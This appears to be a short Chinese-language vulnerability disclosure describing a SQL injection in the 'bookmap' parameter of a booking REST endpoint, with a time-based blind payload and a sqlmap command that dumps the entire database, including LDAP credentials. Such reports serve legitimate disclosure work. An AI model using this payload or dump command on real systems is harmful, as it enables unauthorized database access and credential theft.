描述:
发现的漏洞是SQL注入。bookmap参数存在漏洞。当访问页面:http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test 时,得到正常的JSON响应。但是,如果在bookmap参数的值后面附加一个单引号,则会出现错误信息:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
现在,如果附加两个单引号,则得到正常响应且无错误。这证实了SQL注入的可能性。为了真正证明SQL注入,我们附加以下有效载荷:
'-(select*from(select+sleep(2)+from+dual)a)--+
页面将延迟两秒。这证实了SQL注入。
复现步骤:
发送以下有效载荷测试漏洞:'-(select*from(select+sleep(2)+from+dual)a)--+
如果站点延迟两秒,则运行以下sqlmap命令来转储整个数据库,包括LDAP凭据。
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
特别感谢iCaotix,他在搭建环境以及调试我的有效载荷时提供了巨大帮助。
观察响应时间。
